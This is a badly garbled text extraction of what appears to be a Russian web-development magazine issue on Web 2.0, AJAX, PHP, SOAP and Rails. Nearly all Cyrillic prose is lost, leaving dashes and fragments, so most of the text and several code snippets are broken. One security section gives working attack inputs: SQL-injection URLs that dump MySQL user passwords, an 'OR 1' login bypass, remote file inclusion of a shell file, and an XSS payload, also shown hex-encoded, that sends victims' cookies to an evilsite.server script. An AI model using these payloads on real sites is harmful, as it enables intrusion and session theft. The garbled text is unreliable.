    padding: 3px 5px 3px 5px;

    }

    .vertical_menu_item

    {

    padding: 5px 5px 5px 15px;

    }

    - . .

    . - , , -, , . , - - . Web-- The WorldWide Web Consortium (W3C). www.w3c.org, - . - HTML CSS. -, , , , input, , . , ( ) ! CSS--, - (warning). , warning .

    . : , . . - , ,

    | 3 7

    IE Firefox

  • 3 8 | 0 6 6 7

    web- . , .

    , . - , API, - . .

    API - , - HTML--, . - API RSS (ReallySimple Syndication) 10, 20, 30 .. . - RSS - HTML-. .

    API . , API Google Maps . , Google Maps . GoogleMaps Virtual Earth Microsoft. -

    . , Google Maps.

    AAPI , - XML, PHP JavaScript.

    Google Maps JavaScript API Exam-

    ple

    //function load() {

    -, - , - WEB 2.0. WEB- WEB- - . ? , , -

    { D e f a G r u p p e }

    !!HHTTMMLL CCSSSS

    .: -, 22005 .. // 4448 : 1160

    HTML ,

    , web-. . HTML , - : , , .. - . , , HTML. , CSS ( ) , , . CSS . , HTML CSS.

    JJaavvaa- JJSSPP::

    .: -, 22005 . // 7768 : 2288

    Java,

    . CGI- , : Java, . JSP (Java ServerPages) Java, Java- JavaScript HTML. ( JSP) web-. 200 JSP: , , , , cookie, , , , .

    S P E I A L

    MED

    IUM

    HA

    RD

  • if (GBrowserIsCompatible()) {

    var map = new GMap2(document.getE-

    lementById("map"));

    map.setCenter(new GLatLng

    (55.751729,37.6170), 13);

    }

    }

    //]]>

    HTML- - 500 300 , - . Goo-gle Maps, , - JavaScript- GMap2. (www.google.com/apis/maps/documentation). web2.0 API Mashup, API. Programmab-leWeb 200 API, , 600mashup . : , .

    PPHP. PHP - , , web. - PHP ? . -? , - . - , - - . - . SQL-, - , . , .

    :CakePHP, Seagull, Symfony, Zend Framework -- . , . -, PHP 5: - , - .

    , . Google Maps GoogleMapAPI PHPInsider (www.phpinsi-der.com/php/code/GoogleMapAPI) - .

    , GGoogleMapAPI

    v\:* {

    behavior:url(#default#VML);

    }

    , - , : $map->addMarkerByCoords($lon,-$lat,$title = '',$html = ''), $lon ,$lat , $title , $html , . PHP . , . - , . - , .

    - RSS- (, MagPieRSS http://magpierss.sourceforge.net). RSS - del.icio.us, last.fm, flickr ,

    . - REST, XMLRPC,JSON .

    framework , , - - .

    . Ruby On Rails web- - Ruby. Ruby , -, - , . , , , , , . InstantRails(http://instantrails.rubyforge.org/wiki/wiki.pl), - Apache, MySQL Ruby . , !

    SP

    E

    IA

    L

    , WEB- . ? - -, , -? , WEB-- : - - , - - -. , - . ( - ) - , - - - - - .

    ,

  • 4 0 | 0 6 6 7

    PHP- - RoR. CakePHP,Symfony, PHP on Trax - RoR PHP. RoR - , Ruby.PHP- , fun , - Ruby.

    RoR - - -. - Active Record. - - , SQL-. - Active Record, . C :

    $sql = SELECT * FROM people WHERE per-

    son_id = 1;

    $res = mysql_query($sql);

    @person = Person.find(1)

    . ( ) person , - , - . - , - .. - SQL-: , , - . , Rapid Application Deve-lopment ( ) - .

    RoR (helpers), AJAX- - Ruby. - Prototype Script.aculo.us.

    SScript.aculo.us. JavaScript , - - -. , ... -, : JavaScript . usability. , -, .

    JavaScript, Ruby, -- . , PHP- - - , - Prototype. - $ (-). , PHP. Prototype - document.getElement-ById(id). , , $(id), , . ?

    1.5.0 Prototype ($$) - . , - , - css-. $$(p.left) - , left.

    , - . Event - . , .

    , aalert, $$(a.alert).each(

    function(node){

    Event.observe(node, click, fun-

    ction(e) {

    alert(e.href);

    document.location.href = e.href;

    })

    }

    )

    , . , prototype XMLHttprequest(XHR) .

    Script.aculo.us Prototy-pe, : -, drag&drop, DOM-. Prototype - .

    Effect.BlindUp($(id));

    Prototype Script.aculo.us - - . - . , .

    ? , - . Google, , - - ( -) - ,, .. - , .

    , , - , . - - , . -, - .

    , -, , - - - ,

    - WEB-. - - ( , THE MUSEUM OF MODERN BETAS http://momb.socio-kybernetics.net). , - , - . DEL.ICIO.US, FURL, SPURL .. .. - , -, . , - .

    , - -, - . , -, - - . , - . ? . - , - .

  • , .

    ( ,

    SYNC -

    Maxi Tuning

    Total DVD Onboard Mountain BikeAction

    DVD Total Football

    ,

    8-495-780-88-29 ( )8-800-200-3-999 ( )

    9 18

    :)

  • , - Web 2.0. , Web 2.0 , - .

    90-, , --. . - -, , . . , - 1998 - , -, .

    , , . 2001 - , , . - .

    , web -. -

    - . - - , -mail - , - (web-) p2p-. , - eMule, - eBay .

    . , , , . Web 2.0.

    - OReilly MediaLive International. - , - . web Web 1.0.

    , , - DoubleClick Google Ad-Sense, Ofoto Flickr (www.flickr.com). mp3.com - Napster, - . , -

    4 2 | 0 6 6 7

    wweebb-WEB 2.0 , , , , . . WEB- , , . , . ,

    { t h e k o n s t . n e t }

  • . - - . - , - Web 2.0:

    WEB , .

    - , - .

    - .

    INTEL INSIDE. , - , - , .

    - ( gmail.com).

    (- ), - (- ) - -.

    WEB- , - : , , ..

    , --.

    : eeBay. -, , -, , -, . -, . - 90-, , . , . -

    , . - - . , -, - -.

    web- -- Yahoo!, . : . , , , , ( ), .

    --, - ? ? , - , , ? , , , - -, .

    | 4 3

  • , - - . .

    , - -, --, -, - . Web 2.0 eBay. , , .

    , , ? - , -. , -! eBay - : - , - . , , - -. - . .

    , eBay , , -, . - , . Web 2.0, -. eBay API - , eBay .

    . - - , - . , , , --, - .

    : Windows Vista. , - -, - . - , -, --, - . - , . - - , - , -, . Web 2.0 ( , ) - .

    . 1768 Britannica, CD, web- Bri-tannica Online. - , - Britannica . - , , - - .

    Britannica , -. - . , - . , , , - - . , - - .

    ( - ) . . -, , -. , - ? - , .

    , amazon.com, - , - ISBN ( , - ) R.R.Bowker. , - web-. - - -, R.R. Bowker, amazon.com. - , , - , .

    ., ! , , , , - , . - , , , , . , ( ! . Dr.). - (, ) , , - . , - . ( , - ) , , - . , , - .

    - . , - , , , .

    . -, RSS(Really Simple Syndication Rich Site Summary -). RSS- . , . , - XML, . -

    eBay

    4 4 | 0 6 6 7

  • - . - RSS-, , , - - .

    - . HTML- , ,, - -. BBC, CNN, Reuters, - RSS : , .

    WWeb 22.0. , - Web 2.0, - infoware ( ). - software , : - , , MSIE, Mozilla Safari. , , - , - Web 2.0 - . - , - , . , eMule - , eMule - peer-to-peer, Web 2.0.

    , -, - . - , - . , , - , - .

    . Web2.0 : , , . , , - - . - , - -. , -.

    , Web 2.0

    . Google , .

    ? , 2005 , Web 2.0 , - web- AJAX (Asynchronous JavaScript +XML, JavaScript + XML). AJ-AX ,

    , , web- - - windows-. , .

    web-, , . , - , , - . - - --.

    , AJAX, . - , , , . - - .

    : XHTML, CSS, DOM,XML, XSLT JavaScript. . Adaptive-Path, PR ,, -, PC- , JavaScript , . , - Gmail Google Maps , , GUI .

    . - . - Web 2.0, - . ?

    ( - ) (, ) - . Web 2.0

    : , , -. . - . , Web 2.0 .

    , Web 2.0. Web 2.0 . - ,

    | 4 5

    . , :)

    C

    -,

  • . - , - . .

    Flickr, - , . . , , , , .

    . 90-, , - , -. web-, - . - Web 2.0 - . , , , , -. Web 2.0 - .

    , , - . - - . , - , Web 2.0, - Good work!, - . IP- - , , - - , .

    , wiki. , -

    . , , , , .

    . - AJAX, -. web 2.0 , - myspace.com. - Google.

    myspace.com , . , , - web 2.0, . 19- - Samy - AJAX - Javascript, CSS , . -, , Samy . , .

    : - .

    , - . -, , - Samy, , . - POST- GET- -. , , AJAX- - - .

    -, -, - . web2.0, .

    . , Web 2.0 , . IT-- - Web 2.0. - - Web 2.0 developer. , -, -, , Web 2.0, 2000 web-. , - - Web 2.0. - : -, .

    , -, . , , , -, , Web 2.0

    4 6 | 0 6 6 7

    amazon.com

  • , :I S AE X C H A N G E S E R V E RM S S Q L S E R V E RI I S W I N D O W S 2 0 0 3 S E R V E R * N I X C I S C O

    !

    :W I N D O W S V I S T A . MICROSOFT. . , .

    B S D, , BSD-. . .

    S P Y W A R E. ADWARE. . . .

    ADMINING

  • , -? ! - . - . -, , - . , - - , - .

    Web- . . , - - ndex.XML web-, - ndex.

    . , web- - HTTP. - web- RSS- , - , -, .

    web- , -

    . - SOAP (Simple Object Access Protocol), WorldWide Web. SOAP , , - , , , - .

    - WSDL. Web

    Services Description Language ( web-) , web- , , web-. , - , WSDL , - web-. web- , -. .

    PHP5 & NDEX.XML WEB--. ? -? ? - - WEB-

    { a l e x e y . s h o c k o v @ s p l e n d o t . c o m }

    4 8 | 0 6 6 7

    , W E B -

    HTTP

  • | 4 9

    SOAP -. , XML-RPC (- , SOAP). - , - , .

    ndex.XML web-, - ( XML-). web-, Perl- ,

    - - .

    PHP5 web-, , - , - -, - , , , -, web- .

    ! , . -

    ndex.XML , - , -, ndex, , . web- , .

    , - .

    YandexSearchQuery ndex.YandexSearchAnswer ndex. - .YandexSearchDoc .

    YandexSe-archGroup, ndex - , .

    YandexSearchQuery. web- (), - - , , , -

    . web- XML- , web-. :

    answerDOMTree->getEle-

    mentsByTagName('doc');

    for ($i = 0; $i < $docs->length; $i++) {

    $this->append(new YandexSe-

    archDoc($docs->item($i)));

    }

    }

    , - , - ( $response) , $response[2].

    YandexSearchDoc. ,

    , - . , , - ArrayObject, - . , . - .

    . , . - web- ndex.XML IP-, , (ndex ). , - - web-. ( ), ( 1).

    - , - .

    . web- - . , . , (Service-Oriented Archi-tecture SOA). , Microsoft Sun,. , , -

    1. ndex?

    NUSOAP {[email protected]}

    Java .NET , - web- - . PHP - . , . - NuSOAP PHP, web-.

    ht tp : / / source for -g e . n e t / p r o j e c t / s h o w f i l e s . p h p ? g r o -up_id=57663. , sourceforge.net, , . - lib. - , - .

    , nusoap.php, require_once:

    require_once('nusoap.php');

    . , - . -

    , , - . - :

    service($HTTP_RAW_POST_DATA);?>

    nu-soap.php. - lib, .

    - , - :

    $server = new soap_server;$server->register('getXMLFile');

    - soap_server, SOAP-.

    register . - .

    , , - .

    service - HTTP_-RAW_POST_DATA. . , - :

    nu-soap.php. - $name, -, .

    , . - - . - , :

    $p = array('$filename'=>$name);

    $p , -

    ( ). - soapclient:

    $client = new soapclient('http://your-sitename/server.php');

    - URL . , $client -. :

    $result = $client->call('getXMLFile', $p);

    call SO-AP-, - , - . . . - PHP SOAP-- . , Java .NET, - . , , , . :

    echo htmlspecialchars($client->re-quest, ENT_QUOTES);echo htmlspecialchars($client->re-sponse, ENT_QUOTES);

    , , .

    5 0 | 0 6 6 7

  • !

    GamePost AAggee ooff EEmmppiirreess IIIIIICCoolllleeccttoorr''ss EEddiittiioonn

    $125.99

    CCoommmmaanndd && CCoonnqquueerr::CCoolllleeccttiioonn

    $49.99

    CCaallll ooff DDuuttyy 22CCoolllleeccttoorr''ss EEddiittiioonn

    $99.99

    -

    ?

    * *

    *

    *

    Diablo AAction Figure: Necromancer $$4422..9999

  • web web-? - - ( Apple, ), - .

    , web- - . ( ) - - , - -. AJAX - , .

    . - (remote scripting) . 90- Microsoft Internet Ex-plorer IFRAME Netscape Navigator LAYER. - SRC, - . , ,

    - .

    1998 MSRS (Mic-rosoft's Remote Scripting), Java- JavaScript web- . , - , JSRS JavaScript on Demand.

    2002 - AJAX. - microsoft.public.scripting.remote - , Java- XMLHTTPRequest JavaScript. 2005 - ( MS Internet Explorer Mozilla) - .

    , . AJAX . AJAX , - -

    - . - HTML CSS -, JavaScript - (Document Object Model, DOM) - XML .

    1 - web-, -, AJAX.

    , . , - . , AJAX, - - , , , .

    5 2 | 0 6 6 7

    ( ) , AJAX . , - . , - ?

    AA LL EE XX EE YY SS HH OO CC KK OO VV{ a l e x e y . s h o c k o v @ s p l e n d o t . c o m }

    AAJJAAXX

  • | 5 3

    - , - . , - , - , , - , . - AJAX- 2.

    . - , .

    XMLHTTPRequest , - , web-. , MS InternetExplorer XMLHTTPRequest Ac-tiveX-. , - - ActiveX, web-, - AJAX, .

    ozilla Foundation, Mozil-la Firefox, , - XMLHTTPRequest, - -. - .

    Opera - XMLHTTPRequest, , , . Opera - .

    , -- XMLHTTPRequest -, IFRAME, . , - . -, - -, . -, - : IFRAME .

    - SCRIPT, - SRC , -. . - GET JavaScript.

    , Sub-sys_JsHttpRequest.

    . web- AJ-AX . , web-

    JavaScript- HTML, CSS (HTML, CSS)

    HTTP- HTML, CSS

    - XML-

    -

    1. - AJAX

    AJAX

    HTTP-

  • Gmail Google. -, - AJAX--. , .

    . , , AJAX, , ? , -, .

    , ... - , -

    - ? - . ,? AJAX: - , - , - .

    , - - . - , web- -

    . , -, ? - - , - . , - , Gmail, ndex..

    , , AJAX. -

    5 4 | 0 6 6 7

    AJAX

    2. AJAX

  • | 5 5

    - -. XMLHTTPRequ-est , - , .

    - . , - AJ-AX ! - , -. . - .

    AJAX . , , - JavaScript .

    SSubsys_JsHttpRequest. , , -: -- . - , - , Subsys_JsHttpRequest PHP. ?

    PHP - web--. Subsys_JsHttpRequest . , - - .

    , - . , , , .

    . - frontend , , . - HTML- - , JavaScript. :

    checkUser, - . - , - .

    - ,

    user pass. Subsys_JsHttpRequest_Js, , (- - , -).

    - POST, GET, GET-- Subsys_JsHttpRequest_Js .

    // Get information

    var user = '' + document.getElementBy-

    Id('user').value;

    var pass = '' + document.getElementBy-

    Id('pass').value;

    // Create object

    var req = new Subsys_JsHttpRequest_Js();

    // Allow cashing queries

    req.caching = true;

    // Prepare object

    req.open('POST', 'load.php', true);

    // Send query

    req.send({ u: user, p: pass });

    . , , onre-adystatechange. , respon-seJS. - / ( - auth) result.

    // After loading data this code are

    automaticaly called

    req.onreadystatechange = function() {

    if (req.readyState == 4) {

    if (req.responseJS) {

    // Put result in

    document.getElementById('result').in-

    nerText =

    (req.responseJS.auth ? " -

    !" : " !");

    }

    }

    }

    - . , , - : XMLHTTPRequest SCRIPT.

    backend-- . . .

    require_once "lib/config.php";

    require_once "Subsys/JsHttpRequest/

    Php.php";

    AJ-AX Sub-sys_JsHttpRequest_Php. , , win1251. - AJAX. , -, $_REQUEST, .

    // Set page encoding

    $JsHttpRequest =& new Subsys_

    JsHttpRequest_Php("windows-1251");

    // Create users array

    $users = array(

    "vasia" => "ivanov",

    "petia" => "vaseckins"

    );

    // Get query

    $u = $_REQUEST['u'];

    $p = $_REQUEST['p'];

    // Check

    $auth = false;

    if (array_key_exists($u, $users)) {

    if ($p == $users[$u]) {

    $auth = true;

    }

    }

    - $_RESULT. Sub-sys_JsHttpRequest_Php - - . , - - responseText. .

    $_RESULT = array(

    "auth" => $auth

    );

    , , .. AJAX

    Web 2.0. web- - , - web. - , Google Calendar Google Maps, AJAX , - , - . , . , ?

    ARR

  • , , . : . - , , -, .

    , - PHP-, - , . (js) (PHP), -. , . - js- fValidate ( http://web.archive.org/web/20041111044016/www.peterbai-

    ley.net/fValidate). , , - -. PHP,

    PHP- ., - PHP-, - , - - , , , - -

    { D e f a G r u p p e }

    5 6 | 0 6 6 7

  • | 5 7

    .

    . web- , SQL- PHP-, - - , - .

    SQL- SQL- , , , - . : - ( ). , , , , . -, , .

    SSQL-. , (, ) : ID ( ) -, .

    ID - , - GET, , :

    http://test.test/news.php?id=1

    :

    $query="SELECT `title`, `text` FROM

    `news` WHERE `id`= . $_GET["id"];

    , , , - . - WHERE. , , . ID ( - ) UNION , - :

    http://test.test/news.php?id=-

    20+UNION+SELECT+null

    , . :

    http://test.test/news.php?id=-

    20+UNION+SELECT+null,null

    :

    1 - : HTTP://TEST.TEST/-

    NEWS.PHP?ID=-1+UNION+SELECT+NULL-,SYSTEM_USER(),NULL,NULL

    2 : HTTP://TEST.TEST/-NEWS.PHP?ID=-1+UNION+SELECT+NULL,-DATABASE(),NULL,NULL

    3 :HTTP://TEST.TEST/NEWS.PHP?ID=-1+UNION+SELECT+NULL,MYSQL.US-ER.PASSWORD,NULL,NULL+FROM+MYSQL.USERS

    SQL- - . , - , :

    SELECT * FROM `users` WHERE `login`='$lo-gin' AND `password`='$password';

    $login $password , . - , , .

    , , - , , , - . - , - : - . ,, , adm, _adm, admin, administrator, chief, boss . - , OR 1.

    , - , , :

    SELECT * FROM `users` WHERE `lo-

    gin`='admin' AND `password`='' OR 1;

    . PHP-Nuke 7.0 FINAL. Survey. SQL-, - pollID:

    www.victim.com/php-nuke/modules.php?na-

    me=Surveys&pollID=a'[sql_code_here]

    .

    PHP- . - include() require() , . PHP-- , PHP web- -

    - .

    . , - include URL. ?

    Google. al-linurl: index.php?page=http:// ( - , index.php action.php, module.php .., page url, uri module). Google , - URL allinurl: index.php?page=http://. , , - -, - .

    , - , Google, ,, . PHP ( unix-) - . *.txt :

    http://mysite.ru/shell.txt.

    URL :

    index.php?page=http://mysite.ru/shell.txt.

    . ? , . ? .

    , - -, , , .

    . register_globals! php , . - , , , - POST, - c GETa, - ( ). : GET - - - , -, , .

    cross ssite scripting ((xss)

    - (CrossSite Scripting) XSS. - -

  • http://web.archive.org/web/20041111044016/www.pe-terbailey.net/fValidate js- fValidate

    cookies, - .

    HTML- , tuj - . HTML-, web-- .

    . test.php - (name) .

    http://host.test/test.php?name =

    .

    XSS- web-, , js-. -

    cookie , - , - . cookie . , , co-okie, , cookie , .

    cookie, - - , URL HEX-. -, , - .

    . - , - -, ( -?) . XSS-. - < >, ( ) ( ) # & - # (#) and & (&). , - .

    - , CMS., - , , . , - , , .

    - , , (!) - .

    ! , -

    , , , . , POST GET, , $_COOKIE, . - !

    .

    -. , - , - , , .

    - SQL-,

    - ( $id =(int)$_GET[id]) - .

    ,

    . , , PHP-.

    js- , -

    .

    1

    2

    3

    4

    5

    PHP-NUKE, . -, , - .

    WWW.PHPNUKE.ORG/USER.PHP?OP=US-ERINFO&UNAME=&LTSCRIPT&GTA-LERT(DOCUMENT.COOKIE);

    WWW.PHPNUKE.ORG/MODULES.PHP?NA-ME=DOWNLOADS&D_OP=VIEWDOWNLO-ADDETAILS&LID=02&TTITLE=[JAVASCRIPT]

    WWW.PHPNUKE.ORG/MODULES.PHP?NA-ME=DOWNLOADS&D_OP=RATEDOWNLO-AD&LID=118&TTITLE=[JAVASCRIPT]

    WWW.PHPNUKE.ORG/MODU-LES.PHP?OP=MODLOAD&NAME=MEM-BERS_LIST&FILE=INDEX&LETTER=[JA-VASCRIPT]

    :

    ASCII XSS- :

    HTTP://TEST.HOST/TEST.PHP?VAR=">DOCUMENT.LOCATION='HTTP://WWW.EVILSITE.SERVER/CGI-BIN/COOKIE.CGI? +DOC-UMENT.COOKIE

    HEX , . , _URLENCODE - :

    HTTP://TEST.HOST/TEST.PHP?VAR=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D74%65%2E%73%65%72%76%27%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%73%69%74%65%2E%73%65%72%769%6C%73%69%65%72%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%27%20%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

    COOKIES , .

    5 8 | 0 6 6 7

  • ? , narod.ru - , - , - , - . , , : http://site.ru/download/downlo-ad.php?id=19.

    c :1 (ADD.PHP).

    2 (DOWNLOAD.PHP).

    3 (FORM_ADD.PHP).

    4 , , - (INDEX.PHP).

    . - -, . - , - id ( - GET), - .

    MySQL, - .

    CREATE TABLE `download` (

    `uid` int(11) NOT NULL auto_increment,

    `file` text NOT NULL,

    `server` text NOT NULL,

    `ops` longtext NOT NULL,

    `click` int(11) NOT NULL default '0',

    PRIMARY KEY (`uid`)

    ) TYPE=MyISAM;

    download. - :

    uid ;file ;server ;ops ;click .

    . form_add.php , add.php. - -

    6 0 | 0 6 6 7

    ,

    . , -

    , , , ,

    ! NAROD.RU

    HH AA 55 HH { h a 5 h @ m a i l . r u }

    ,

    - -

    - ,

    ( index.php)

    - ,

    , -

    If (id == uid) then

    downlo-ad.php id

    download.php - , -

    id , - uid

    form_add.php - - - -

    download

  • | 6 1

    GET. , , :

    ;

    ;

    .

    , linux.rar http://mysite.narod.ru. , Filename linux.rar, Ser-ver name http://mysite.narod.ru.

    /. , (add.php), ($put = "$server$file";) $put ="$server/$file"; ( ). add.php MySQL, - , , - . :

    mysql_connect($host,$user,"$password");

    $host MySQL; $user ; $password .

    . - , - download:

    @mysql_select_db($base) or die("Base

    Error");

    $base , .

    ( - ). , -, :

    mysql_query("insert into download values

    ('', '$filen', '$server', '$ops','0')");

    - , *.php; *.php3;*.html;*.htm .. - , . , - *.rar, - . ! : $fi-len, $server $ops.

    . - . . - MySQL, .

    MMySQLprint "";

    print "Best

    soft";

    .

    , :

    $re=mysql_query("select * from download

    order by uid desc");

    : desc? . , , - , .

    : - :

    while($res=mysql_fetch_array($re))

    {

    print "

    $res[file]

    $res[ops]

    : ($res[click])

    ";

    }

    download id, .

    download.php, , - MySQL ,

    , - desc. $id, . $res[uid] . , - 1 , click( click , ) . , ( 1).

    , , , , . - Flash Get, , .

    . , - , ., www.h1.ru

    11while($res=mysql_fetch_array($re))

    {

    $click = $res[click];//

    if ($id == $res[uid])// id uid

    {

    $file = $res[file];

    $server = $res[server];

    $put = "$server$file";//

    $click = $click + 1;

    mysql_query("UPDATE download SET click=$click WHERE uid=$id");

    header("location:$put");//

    }

    }

  • 6 2 | S P E C I A L D E L I V E R Y 0 6 6 7

    W E B 2 . 0 ,

    ,

    -

    .

    W E B 2 . 0 ?

    (( DDEFA GGRUPPE): , Web 2.0 , . - . -, . , - , - - .

    , AJ-AX- - - , . - - , - .

    W E B

    2 . 0 (

    ) ? W E B

    2 . 0 -

    ,

    -

    ?

    : - . .RSS-, , - . - , - . Ja-vascript ( web2.0) , - . : ? web-- Javascript , - . Dia Awards (www.diawards.ru).

    web2.0 , , - . , , .

    ? -

    W E B 2 . 0 ?

    : - , , . , - . - , , .

    web 2.0 - , , POP, PUSH. - web 2.0 -, .

    , . . RSS, API, - . - .

    ,

    -

    ,

    W E B 2 . 0 ? -

    -

    -

    A J A X ,

    -

    , -

    .

    : . Google Mail,News Alloy , . AJAX - web 2.0 , .

    Web 2.0 , - , . , . -, intelliTXT Vibrant Media (www.vibrantmedia.com/si-S

    PE

    I

    AL

    Dfa Gruppe , , -. - -, - web 2.0. (www.elementy.ru), - . - , . - Defa Grup-pe, - web2.0, - (www.devchat.ru), Procter andGamble. -, , - - - - Wordpress(www.mywordpress.ru).

  • 6 4 | S P E C I A L D E L I V E R Y 0 6 6 7

    te2005/web_02.html), .

    , web 2.0 : , , . .

    P H P -

    ,

    . N E T ,

    ? -

    P H P -

    ?

    : Microsoft web- .NET. Atlas . windows- - - .Yahoo windows- LAMP (Linux + Apache + PHP + MySQL) - . .NET , - Microsoft. - .NET .

    Fra-mework Ruby On Rails, - . - Ruby - , , - PHP- Ruby. , - Ruby .

    Zend . preview- Zend Framework (http://framework.zend.com), - web-. Zend Framework PEAR, , . Zend Studio, PHP - .

    ?

    : Framework - : . . - PHP Symfony (www.symfony-pro-

    ject.com). Ruby On Rails, framework . . , .

    , Zend Framework PHP--, - . fra-mework , - - . - . , - , , framework - .

    ?

    M A C R O M E D I A D R E -

    A M W E A V E R -

    -

    , ,

    :

    -

    , .

    ?

    : , - web- HTML -. . - rapid development (- ). , - , , .

    , -: , PHP , Zend Studio, -, - .

    PHP--, - Apache, PHP MySQL - . ( ) WAMP (Windows + Apache + PHP + MySQL), . , . - , . , Zend Studio. , , , .

    -

    -

    -

    W E B - .

    - ,

    , -

    W E B - .

    ?

    : . - web- , -, . web-- : web , . , , - web- - . , , - ?

    , - web- web-. - - . , , - , -

    Defa Gruppe

  • | 6 5

    . ( -, ), - - . - .

    .

    -

    ?

    : -. . - . web 2.0 - . - .

    , , --, . - , - , . - , . , digg.com del.icio.us, - -. , - , , ,

    , .

    . - , , , - .

    - -. RSS , , -, , RSS-,, - . , - RSS-.

    C M S ?

    ? ,

    ,

    C M S -

    . -

    .

    : , - , CMS : .

    , , , CMS , - , . - CMS , . , CMS. Drupal, - , -. - . CMS -, - .

    , - CMS, - . , - CMS - , - . - -, . , -. - web 2.0.

  • 6 6 | S P E C I A L D E L I V E R Y 0 6 6 7

    HHTTMMLL CCSSSS

    .: -, 2005 / .. / 448 : 160

    HTML - , , - web-. - - - . HTML -, - - : - , , - - .. - - . - , , - HTML. CSS - . , - - HTML CSS.

    .. SSQQLL

    .: -, 2006 / .. / 288 : 86

    SQL (Structured Query Langua-ge) . SQL (), - , - , , -, . , SQL. SQL - , . - -.

    , ( - ), - - , - -- OS-(www.osbook.ru).

    MED

    IUM

    SP

    E

    IA

    L

    EA

    SY

  • | 6 7

    PPHHPP

    .: -, 2005 / .. / 304 : 172

    PHP web, - , - , , - ,. . -, - - - . - web-, , - - .

    JJaavvaa- JJSSPP::

    .: -, 2005 / . / 768 : 288

    Java, - - . CGI- , : - Java, . JSP(Java Server Pages) - Java, - Java- - JavaScript HTML. ( JSP) - web--. 200 - JSP: , -, , - , - cookie, -, -, , - .

    WWeebb- PPHHPP MMyySSQQLL

    .: , 2006 / / 880 : 486

    HTML , - . web - . - - , PHP + MySQL. PHP MySQL, CMS ( - ), , -- .. :- PHP, PDF- - web-- ., PHP5 MySQL 5.0.

    AAccttiioonnSSccrriipptt 22..00..

    .: -, 2006 / / 576 : 360

    Flash - , - - Ac-tionScript. Ac-tionScript 1.0, : - - , - (-- -). 2.0 - . - . , - , - , Java ++. - ActionScript 2.0 .

    MED

    IUM

    HA

    RD

    HA

    RD

    EA

    SY

  • 6 8 | S P E C I A L D E L I V E R Y 0 6 6 7

    W E B ?

    : . , : ASP.NET ( , HTML), C# ( , ..), XML . ,, Visual Studio 2005. . , , Windows, , - Linux Debian. : C ++ ( STL, - ( PERL, ), CORBA ( COM+ , Linux ), - ( . DirectX - -, Linux ). Linux, ...S

    PE

    I

    AL

    PHP-, web . - web-- ( - -), - -, Defa Gruppe( ). :www.awards.ru (Night Life Awards),www.jorisvanvelzen.de( ),http://kino.mtv.ru ( 2006, MTV).

    ()

    , --, web-. : , - , -, , ( ). :GreetingDepot Inc (- , - ), . - (- ), DIA 2005 ( - - ), 2005 ( - ).

    . Web-- web-- . - . - : - , -, - web-- .

    , - webe -. Renault - web--, Defa Gruppe. -: - SoKia, MTV 2006, - .

    , , - - --. - - www.vseved.ru,www.elitepen.ru - - Defa Gruppe.

  • | 6 9

    : , PHP (- Perl). C++ - . Java, , ( ). Java - , . PHP NotePad :).

    : . , , - , . , , . : . , , , , , -, . , , - , . - , , . : , , , -. , , . : . 1) . 2) -. 3) .

    . -, . , . , -, . : . , - , , usability, , . , - , , . - . 1) , . - , . 2) -. 3) , , - , . , :). 4) , -, / . , . : , . (, , -), . , . - , . : , ... , . , . , - web , , . , . , . : . , : , . ( ) web. - , , . , .

    :

    ?

    ,

    , . . .

    ,

    .

    1995 , web. , . - -: www.forceteam.ru,www.realstory.ru www.shopexpert.ru( ).

  • 7 0 | S P E C I A L D E L I V E R Y 0 6 6 7

    , , - . , - , .

    , -. , (IT--, PR). , . , . , - , 100% . - , , -, , ?!

    : :). , , - : visibility + usability = . , -, . - , , , . , , - . , . - , , - . : . . , , , -. , , dataflow-- .. , . : . - , - . : - , . , , , - . , . : . , , , CMS - . - : , - .

    : . (- ), . , , , . : / . , . , , , - . . , - , , , . . : , -. , , , - . , , . , . . : , -! - . , . , - . -, ,, .. , , , , ( ) - . ? , ( ), : , - .., Web

    -

    ?

    ?

    : -

    ?

  • : + CD + +

    200 .

    ( . ) *( )

    ...

    :/ / ( )e-mail

    * . .

    + CD

    6 12 900 . 00 . 1740 . 00 .

    + +

    6 12 2550 . 00 . 5040 . 00 .

    1 2 3 :

    : [email protected];

    : (495) 780-88-24;

    : 119021, , . , . 11, . 44-45, , .

    ! .

    , , 5 .

    , , 20 .

    . , . , , .

    : - (495) 500-00-60 www.interpochta.ru , , , , .

    15% , ,

    , , : 780-88-29 ( ) 8-800-200-3-999 ( , ,). : [email protected]

  • .

    ?

    , -

    . , :), - CMS ( ), . , CMS . -: Joomla (http://joomla.org), Drupal (http://dru-pal.ru), WordPress (http://mywordpress.ru). , . - , Drupal WordPress. -, - , - phpBB, - :). - CMS, : , - PHP, . - PHPClub (http://phpclub.ru), - ?, - , , ,

    , - .

    !

    W E B - ?

    , . - PHP -

    : , . - - (http://dklab.ru), , . - - , - , , -, - , -. Web- -, -. , - . , - . Web 2.0 , - XXI , . ...

    O L D S C H O O L

    N E W S C H O O L ?

    - , -S

    PE

    I

    AL

    FA

    Q

    Defa Gruppe

    7 2 | S P E C I A L D E L I V E R Y 0 6 6 7

  • . - , , , , . , XML, - , - , - . : , - .. . HTML , , , . - . , .

    H T M L - . -

    ?

    , . - , -:

    , , - , . - , Macromedia Dreamweaver, - . , , XHTML

    Strict target, JavaScript - , - JavaScript. -, JavaScript- fValidate alt in-put. HTML , ! DTD , . , , , - .

    R U B Y O N R A I L S

    ?

    - web-

    , - Ruby On Rails ( ROR).Ruby On Rails web- Ruby, - , - . ( -), 15 . , . . Ruby PHP, : Ruby - , PHP . -, ROR . PHP- - , - SQL-, .. , - - - Ruby-, - . , , . - collocation. , - -, , , , - . , - ROR, .

    W E B 2 . 0 ?

    Web 2.0 -

    OReilly Media MediaLive International. -

    - -, - . - Web 2.0 . web- , - , - . , Web 2.0 . , Web 2.0. , . , Web 2.0 - - , - , .

    W E B 2 . 0

    . ? -

    ?

    - .

    , web- : mail.ru gmail.com. , - , . , , - , . ! - , .

    - . , - , . Word , Writely ( ) . . , - . , - .

    . , JavaScript , - . , - , , - -. , ? . , - , .

    , , , Web 2.0, - . Windows, - , Micro-soft. . Writely, . - , .

    | 7 3

  • - . , , , - , , . . , , , - -, , ? , ! ! -, , . , , Windows. , , -, , . - : $100.

    . , - . -, . , . , . , , , -, , UPS. -, . -, , USB, RS-232. -, . - ,

